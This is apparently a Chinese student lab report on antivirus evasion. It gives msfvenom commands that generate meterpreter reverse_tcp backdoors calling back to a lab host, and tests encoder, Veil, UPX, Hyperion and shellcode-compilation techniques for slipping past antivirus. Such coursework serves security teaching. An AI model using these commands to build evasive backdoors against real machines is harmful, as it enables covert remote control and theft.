1. 实践内容
1.1 正确使用msf编码器
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘x00’ LHOST=192.168.136.135 LPORT=5222 -f exe > cess.exe
生成后门程序,其中-p设置平台及连接方式,-e设置编码方式,(可通过msfvenom -l encoders列出可用编码器)
-i设置编码次数。-b设置直到不出现后门设定的字符。
检测一下
可见直接通过修改编码器的方式行不通。
msfvenom生成如jar之类的其他文件
使用 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.135 LPORT=5222 x.jar> cess_java.jar来生成jar文件。
其中-p的值可由msfvenom - l payloads查看。
检查发现
同样无法通过。
veil-evasion
输入veil进入,然后根据提示生成自己想要的后门即可。
我选择了用ruby写的在meterpreter平台下的tcp反弹连接;
然后设置ip及端口
最后输出文件即可。
但同样被杀软轻而易举识别出来。
关掉杀软测试能否反弹连接,发现成功。
加壳工具
1.执行upx 20165222_backdoor.exe -o 2016.exe
发现也被杀了出来。
2.加密壳
进入/usr/share/windows-binaries/hyperion/中,执行wine hyperion.exe -v 2016.exe sxx_upxed_Hyperion.exe
但同样也被杀出来。
使用shellcode编程
使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.135 LPORT=5222 -f c
生成shellcod
然后将其写入5222.c文件,包含如下主函数:
再用i686-w64-mingw32-g++ 5222.c -o 5222.exe将其编译为exe文件
放入win10下仍能被检测出。
1.2 通过组合应用各种技术实现恶意代码免杀
使用mesvenom,再改编码器,放入VC中执行生成可执行文件,成功连接。
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码和软件的行为。
(2)免杀是做什么?
对木马等进行处理,让其不被杀软发现。
(3)免杀的基本方法有哪些?
改变特征码:1,加壳;2,换编码器;3,换不同平台重写代码。
改变行为:减少对系统的修改。
2.2.实践总结与体会
此次实验有些麻烦,msf中有很多编码器使用不了,不知为什么。还有的部分生成的后门被查出来了,建立白名单测试是否能够反弹发现失败了,比如加了压缩壳连接成功,再在此基础上加一个加密壳,就会出问题,还有就是后门如何到别人电脑上也是个问题,我是通过u盘直接移过去的。总之最后成功了,但同样存在着一些问题没有解决,有空再来看看能否解决。
2.3.开启杀软能绝对防止电脑中恶意代码吗?
不能,比如自己手工加壳的后门程序病毒库里没有就很难检查出来。